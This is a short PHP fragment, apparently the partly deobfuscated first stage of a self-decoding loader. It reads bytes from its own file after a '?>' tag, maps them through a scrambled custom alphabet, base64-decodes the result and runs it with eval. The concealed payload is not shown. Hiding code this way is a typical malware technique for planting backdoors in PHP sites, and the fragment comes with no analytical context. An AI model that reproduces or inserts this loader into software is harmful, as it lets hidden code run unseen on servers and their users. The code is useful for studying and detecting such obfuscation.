if(!0) $thisfile = $fopen($filename,'rb');
$fgets($thisfile,1024); // skip first 1K
$fgets($thisfile,4096); // skip rest of first line
$part2 = $base64_decode(
  $strtr(
    $fread($thisfile,380), // first part of magic string after "?>"
    'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=',
    'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
  )
);
eval($part2);